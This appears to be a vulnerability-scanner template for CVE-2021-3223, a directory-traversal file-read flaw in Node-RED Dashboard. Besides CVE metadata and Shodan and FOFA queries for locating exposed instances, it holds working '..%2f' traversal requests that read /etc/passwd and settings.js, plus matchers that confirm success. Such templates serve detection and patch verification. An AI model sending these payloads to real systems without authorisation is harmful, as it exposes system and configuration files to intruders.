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id : CVE-2021-3223
info :
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name : Node RED Dashboard <2.26.2 - Local File Inclusion
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author : gy741,pikpikcu
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severity : high
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description : NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.
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reference :
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- https://github.com/node-red/node-red-dashboard/issues/669
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
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- https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3223
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score : 7.5
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cve-id : CVE-2021-3223
cwe-id : CWE-22
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epss-score : 0.15641
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cpe : cpe:2.3:a:nodered:node-red-dashboard:*:*:*:*:*:node.js:*:*
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epss-percentile : 0.95204
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metadata :
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max-request : 2
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verified : true
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shodan-query : title:"Node-RED"
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fofa-query : title="Node-RED"
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framework : node.js
vendor : nodered
product : node-red-dashboard
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tags : cve,cve2021,node-red-dashboard,lfi
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http :
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- method : GET
path :
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
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- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'
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matchers-condition : or
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matchers :
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- type : word
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part : body
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words :
- "Node-RED web server is listening"
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- type : regex
part : body
regex :
- "root:.*:0:0:"